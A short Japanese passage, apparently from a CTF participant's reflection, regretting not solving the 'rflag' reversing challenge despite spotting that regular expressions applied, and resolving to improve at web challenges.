rflagが解けていればrev問を全部解けたことになったのですが、解けなかったのが非常に悔しいです。正規表現が使えるまではわかったのですがそこからが思いつかなかった...

web問がまったくわからないので精進したいですね。